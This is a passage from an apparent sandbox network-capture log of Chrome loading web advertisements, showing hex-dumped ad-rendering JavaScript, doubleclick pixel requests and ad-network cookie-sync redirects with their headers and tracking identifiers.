g\x3dthis\|\|self,k\x3dfunction(a,b){var c\x3dArray.prototype.slice.call(arguments,1);return function(){var e\x3dc.
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 28 61 29 7b 63 61 73 65 20 5c 78 32 32 6e 6f 72 6d 61 6c 5c 78 32 32 3a 72 65 74 75 72 6e 5c 78 32 32 6e 6f 72 6d 61 6c 5c 78 32 32 3b 63 61 73 65 20 5c 78 32 32 6c 69 67 68 74 62 6f 78 5c 78 32 32 3a 72 65 74 75 72 6e 5c 78 32 32 6c 69 67 68 74 62 6f 78 5c 78 32 32 3b 63 61 73 65 20 5c 78 32 32 70 75 73 68 5f 64 6f 77 6e 5c 78 32 32 3a 72 65 74 75 72 6e 5c 78 32 32 70 75 73 68 5f 64 6f 77 6e 5c 78 32 32 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 7d 3b 76 61 72 20 6e 5c 78 33 64 7b 6f 3a 5c 78 32 32 61 64 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 64 5c 78 32 32 2c 44 3a 5c 78 32 32 68 69 64 65 4f 62 6a Data Ascii: (a){case \x22normal\x22:return\x22normal\x22;case \x22lightbox\x22:return\x22lightbox\x22;case \x22push_down\x22:return\x22push_down\x22}return null};function m(a,b){for(var c in a)b.call(void 0,a[c],c,a)};var n\x3d{o:\x22ad_container_id\x22,D:\x22hideObj
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 2a 2f 76 61 72 20 77 5c 78 33 64 7b 7d 3b 76 61 72 20 78 5c 78 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 77 21 5c 78 33 64 5c 78 33 64 77 29 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 78 32 32 42 61 64 20 73 65 63 72 65 74 5c 78 32 32 29 3b 74 68 69 73 2e 67 5c 78 33 64 61 7d 3b 78 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 5c 78 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 7d 3b 6e 65 77 20 78 28 5c 78 32 32 61 62 6f 75 74 3a 62 6c 61 6e 6b 5c 78 32 32 29 3b 6e 65 77 20 78 28 5c 78 32 32 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 78 32 32 29 3b 76 61 72 20 79 5c 78 33 64 Data Ascii: SPDX-License-Identifier: Apache-2.0*/var w\x3d{};var x\x3dfunction(a){if(w!\x3d\x3dw)throw Error(\x22Bad secret\x22);this.g\x3da};x.prototype.toString\x3dfunction(){return this.g};new x(\x22about:blank\x22);new x(\x22about:invalid#zClosurez\x22);var y\x3d
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 2f 2c 69 3a 5c 78 32 32 24 31 69 6e 61 70 70 5f 68 74 6d 6c 5f 69 6e 70 61 67 65 5f 72 65 6e 64 65 72 69 6e 67 5f 6c 69 62 5f 24 33 2e 6a 73 5c 78 32 32 7d 2c 4a 5c 78 33 64 7b 70 61 74 74 65 72 6e 3a 2f 5c 5c 2f 5b 30 2d 39 5d 2b 5c 5c 2f 5b 61 2d 7a 5f 30 2d 39 5d 2b 72 65 6e 64 65 72 69 6e 67 5f 6c 69 62 2e 2b 24 2f 2c 69 3a 5c 78 32 32 2f 61 64 73 2f 73 74 75 64 69 6f 2f 63 61 63 68 65 64 5f 6c 69 62 73 2f 6d 6f 64 65 72 6e 69 7a 72 5f 32 2e 38 2e 33 5f 65 63 31 38 35 62 62 34 34 66 65 35 65 36 62 66 37 34 35 35 64 36 65 38 65 66 33 37 65 64 30 65 5f 6e 6f 2d 63 6c 61 73 73 65 73 2e 6a 73 5c 78 32 32 7d 2c 4e 5c 78 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 78 33 64 76 28 61 29 2c 63 5c 78 33 64 61 2e 67 2e 72 65 6e 64 65 72 69 6e 67 Data Ascii: /,i:\x22$1inapp_html_inpage_rendering_lib_$3.js\x22},J\x3d{pattern:/\\/[0-9]+\\/[a-z_0-9]+rendering_lib.+$/,i:\x22/ads/studio/cached_libs/modernizr_2.8.3_ec185bb44fe5e6bf7455d6e8ef37ed0e_no-classes.js\x22},N\x3dfunction(a){var b\x3dv(a),c\x3da.g.rendering
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 64 5c 78 33 64 66 7c 7c 5c 78 32 32 46 4c 4f 41 54 49 4e 47 5c 78 32 32 5c 78 33 64 5c 78 33 64 66 5c 78 32 36 5c 78 32 36 21 68 29 7b 62 5c 78 33 64 21 30 3b 62 72 65 61 6b 20 61 7d 7d 62 5c 78 33 64 21 31 7d 62 5c 78 33 64 21 62 7d 69 66 28 62 7c 7c 61 2e 67 2e 70 72 65 76 69 65 77 4d 6f 64 65 29 7b 61 3a 7b 61 5c 78 33 64 65 3b 62 5c 78 33 64 4c 28 29 3b 66 6f 72 28 64 5c 78 33 64 30 3b 64 5c 78 33 63 62 2e 72 65 6e 64 65 72 69 6e 67 4c 69 62 72 61 72 69 65 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 69 66 28 66 5c 78 33 64 62 2e 72 65 6e 64 65 72 69 6e 67 4c 69 62 72 61 72 69 65 73 5b 64 5d 2c 66 2e 75 72 6c 5c 78 33 64 5c 78 33 64 61 5c 78 32 36 5c 78 32 36 66 2e 62 6f 6f 74 73 74 72 61 70 46 75 6e 63 74 69 6f 6e 29 7b 61 5c 78 33 64 66 3b 62 72 65 61 6b Data Ascii: d\x3df\|\|\x22FLOATING\x22\x3d\x3df\x26\x26!h){b\x3d!0;break a}}b\x3d!1}b\x3d!b}if(b\|\|a.g.previewMode){a:{a\x3de;b\x3dL();for(d\x3d0;d\x3cb.renderingLibraries.length;d++)if(f\x3db.renderingLibraries[d],f.url\x3d\x3da\x26\x26f.bootstrapFunction){a\x3df;break
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 72 79 7b 69 66 28 6e 75 6c 6c 21 5c 78 33 64 28 61 5b 5c 78 32 32 63 70 73 2d 74 6f 70 2d 69 66 72 61 6d 65 2d 62 65 61 63 6f 6e 5c 78 32 32 5d 3f 61 5b 5c 78 32 32 63 70 73 2d 74 6f 70 2d 69 66 72 61 6d 65 2d 62 65 61 63 6f 6e 5c 78 32 32 5d 3a 6e 75 6c 6c 29 29 72 65 74 75 72 6e 21 30 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 5c 78 33 64 5c 78 33 64 61 2e 70 61 72 65 6e 74 3f 21 31 3a 50 28 61 2e 70 61 72 65 6e 74 29 7d 2c 51 5c 78 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6e 75 6c 6c 21 5c 78 33 64 61 29 7b 71 28 61 2e 63 72 65 61 74 69 76 65 50 61 72 61 6d 65 74 65 72 73 29 3b 69 66 28 6e 75 6c 6c 21 5c 78 33 64 61 2e 68 74 6d 6c 35 46 65 61 74 75 72 65 73 29 66 6f 72 28 76 61 72 20 62 5c Data Ascii: function(a){try{if(null!\x3d(a[\x22cps-top-iframe-beacon\x22]?a[\x22cps-top-iframe-beacon\x22]:null))return!0}catch(b){}return a\x3d\x3da.parent?!1:P(a.parent)},Q\x3dfunction(a){if(null!\x3da){q(a.creativeParameters);if(null!\x3da.html5Features)for(var b\
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 2e 64 69 73 70 6c 61 79 43 6f 6e 66 69 67 50 61 72 61 6d 65 74 65 72 73 5c 78 33 64 7b 7d 29 2c 63 2e 64 69 73 70 6c 61 79 43 6f 6e 66 69 67 50 61 72 61 6d 65 74 65 72 73 2e 61 64 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 64 5c 78 33 64 62 29 3b 63 5c 78 33 64 61 2e 67 3b 62 5c 78 33 64 63 2e 72 65 6e 64 65 72 69 6e 67 4c 69 62 72 61 72 79 44 61 74 61 3b 65 5c 78 33 64 62 2e 76 65 72 73 69 6f 6e 3b 61 3a 7b 66 6f 72 28 64 5c 78 33 64 30 3b 64 5c 78 33 63 61 2e 67 2e 70 72 69 6d 61 72 79 46 69 6c 65 73 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 5c 78 32 32 48 54 4d 4c 35 5c 78 32 32 5c 78 33 64 5c 78 33 64 61 2e 67 2e 70 72 69 6d 61 72 79 46 69 6c 65 73 5b 64 5d 2e 74 79 70 65 29 7b 64 5c 78 33 64 21 30 3b 62 72 65 61 6b 20 61 7d 64 5c 78 33 64 21 31 7d 69 66 Data Ascii: .displayConfigParameters\x3d{}),c.displayConfigParameters.ad_container_id\x3db);c\x3da.g;b\x3dc.renderingLibraryData;e\x3db.version;a:{for(d\x3d0;d\x3ca.g.primaryFiles.length;++d)if(\x22HTML5\x22\x3d\x3da.g.primaryFiles[d].type){d\x3d!0;break a}d\x3d!1}if
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 5c 78 33 64 20 7b 77 69 64 74 68 3a 20 5c 78 32 37 33 30 30 5c 78 32 37 2c 68 65 69 67 68 74 3a 20 5c 78 32 37 32 35 30 5c 78 32 37 2c 73 6c 6f 74 57 69 64 74 68 3a 20 5c 78 32 37 33 30 30 5c 78 32 37 2c 73 6c 6f 74 48 65 69 67 68 74 3a 20 5c 78 32 37 32 35 30 5c 78 32 37 2c 72 65 6e 64 65 72 69 6e 67 4c 69 62 72 61 72 79 44 61 74 61 3a 20 7b 76 65 72 73 69 6f 6e 3a 20 5c 78 32 37 32 30 30 5f 32 37 38 5c 78 32 37 2c 72 65 6e 64 65 72 69 6e 67 4c 69 62 72 61 72 79 3a 20 5c 78 32 37 68 74 74 70 73 3a 2f 2f 73 30 2e 32 6d 64 6e 2e 6e 65 74 2f 38 37 39 33 36 36 2f 65 78 70 72 65 73 73 5f 68 74 6d 6c 5f 69 6e 70 61 67 65 5f 72 65 6e 64 65 72 69 6e 67 5f 6c 69 62 5f 32 30 30 5f 32 37 38 2e 6a 73 5c 78 32 37 7d 2c 69 6d 70 72 65 73 73 69 6f 6e 55 72 6c 3a 20 5c Data Ascii: \x3d {width: \x27300\x27,height: \x27250\x27,slotWidth: \x27300\x27,slotHeight: \x27250\x27,renderingLibraryData: {version: \x27200_278\x27,renderingLibrary: \x27https://s0.2mdn.net/879366/express_html_inpage_rendering_lib_200_278.js\x27},impressionUrl: \
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 36 35 46 64 32 6a 69 6c 59 76 53 53 4d 55 49 51 62 64 6d 50 42 47 4b 4b 44 41 72 37 78 65 52 48 6c 35 41 5c 78 32 37 2c 63 6c 69 63 6b 55 72 6c 3a 20 5c 78 32 37 68 74 74 70 73 3a 2f 2f 61 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 63 73 2f 63 6c 69 63 6b 3f 78 61 69 5c 5c 78 33 64 41 4b 41 4f 6a 73 73 4b 4a 59 45 4f 6a 50 74 53 66 66 45 45 43 62 45 76 34 4d 66 6b 48 37 37 5a 47 36 49 71 4b 37 41 4c 4a 30 51 58 56 54 64 2d 4c 57 79 37 49 54 65 66 4b 59 38 51 46 62 76 33 73 37 6d 56 59 54 79 35 6b 45 5a 64 31 59 52 6a 32 51 6d 64 74 65 4f 71 56 79 30 6f 6a 30 67 54 74 41 48 5a 72 30 4c 55 4f 37 4c 71 4b 4c 6b 46 72 7a 64 7a 4f 64 64 76 4f 6d 4f 76 30 6a 4e 6f 4a 46 78 4e 6e 38 74 63 73 53 6f 5f 53 69 74 77 74 6d 45 4c 5f 59 6e 59 70 73 5f 31 Data Ascii: 65Fd2jilYvSSMUIQbdmPBGKKDAr7xeRHl5A\x27,clickUrl: \x27https://ad.doubleclick.net/pcs/click?xai\\x3dAKAOjssKJYEOjPtSffEECbEv4MfkH77ZG6IqK7ALJ0QXVTd-LWy7ITefKY8QFbv3s7mVYTy5kEZd1YRj2QmdteOqVy0oj0gTtAHZr0LUO7LqKLkFrzdzOddvOmOv0jNoJFxNn8tcsSo_SitwtmEL_YnYps_1
2024-04-27 22:42:11 UTC	1255	IN	Data Raw: 63 6f 6d 2f 64 76 74 70 5f 73 72 63 2e 6a 73 23 63 74 78 5c 5c 78 33 64 33 31 32 36 33 33 37 34 5c 5c 78 32 36 63 6d 70 5c 5c 78 33 64 33 31 32 37 38 39 32 33 5c 5c 78 32 36 73 69 64 5c 5c 78 33 64 37 39 31 36 33 39 32 5c 5c 78 32 36 70 6c 63 5c 5c 78 33 64 33 38 36 39 34 32 35 39 34 5c 5c 78 32 36 6e 75 6d 5c 5c 78 33 64 5c 5c 78 32 36 61 64 69 64 5c 5c 78 33 64 5c 5c 78 32 36 61 64 76 69 64 5c 5c 78 33 64 31 33 36 39 30 31 34 39 5c 5c 78 32 36 61 64 73 72 76 5c 5c 78 33 64 31 5c 5c 78 32 36 62 74 72 65 67 5c 5c 78 33 64 35 38 33 32 38 31 34 34 34 5c 5c 78 32 36 62 74 61 64 73 72 76 5c 5c 78 33 64 64 6f 75 62 6c 65 63 6c 69 63 6b 5c 5c 78 32 36 63 72 74 5c 5c 78 33 64 32 31 32 39 32 34 30 30 36 5c 5c 78 32 36 63 72 74 6e 61 6d 65 5c 5c 78 33 64 5c 5c 78 Data Ascii: com/dvtp_src.js#ctx\\x3d31263374\\x26cmp\\x3d31278923\\x26sid\\x3d7916392\\x26plc\\x3d386942594\\x26num\\x3d\\x26adid\\x3d\\x26advid\\x3d13690149\\x26adsrv\\x3d1\\x26btreg\\x3d583281444\\x26btadsrv\\x3ddoubleclick\\x26crt\\x3d212924006\\x26crtname\\x3d\\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	50208	142.251.167.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1066	OUT	GET /xbbe/pixel?d=COmwx6QDEPGQ3_AFGIKEyY4CMAE&v=APEucNW3n1sPbEDPkZs_8pmUCIewC45CoaMbj3AzHxGHyoXwxtkM_cEFOr5uqtXjLfPlJx3OXrvR-dvipnuPo91_BYfGIeGWag HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	570	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:11 GMT Server: cafe Cache-Control: private X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:42:11 UTC	670	IN	Data Raw: 32 39 37 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 6c 6b 71 64 5f 64 62 6d 26 67 6f 6f 67 6c 65 5f 63 6d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6c 6b 71 64 2e 6e 65 74 2f 63 73 3f 70 61 72 74 6e 65 72 49 64 3d 35 39 26 72 65 64 69 72 65 63 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 25 32 46 70 69 78 65 6c 25 33 46 67 6f 6f 67 6c 65 5f 6e 69 64 25 33 44 6c 6b 71 64 5f 64 62 6d 25 32 36 67 6f Data Ascii: 297<html><head></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=lkqd_dbm&google_cm" style="display:none;"/><img src="https://cs.lkqd.net/cs?partnerId=59&redirect=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dlkqd_dbm%26go
2024-04-27 22:42:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	50200	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1060	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:11 UTC	1510	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=1476058396850158061&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 5392a232-a98b-4add-a155-6cde2cab913f Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:11 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	50210	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	846	OUT	GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	685	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0 Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 324 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	324	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 46 56 65 55 48 66 49 31 39 6a 4a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	50204	3.212.29.205	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	696	OUT	GET /s/75145?bidder_id=195755&bidder_uuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
2024-04-27 22:42:11 UTC	651	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close Location: https://x.bidswitch.net/syncd?dsp_id=256&user_group=2&user_id=7de677f8-dda1-428e-88ae-9b2fad295b01&redir=//i.liadm.com/s/52176?bidder_id%3D5298%26bidder_uuid%3D$%7BBSW_UID%7D Set-Cookie: _li_ss=CgcKBQgLEOQX; Max-Age=2592000; Expires=Mon, 27 May 2024 22:42:11 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; Max-Age=63072000; Expires=Mon, 27 Apr 2026 22:42:11 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 1 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	50088	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1637	OUT	GET /setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=IkESATZH81_FapvzRxGQQ8ru&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; 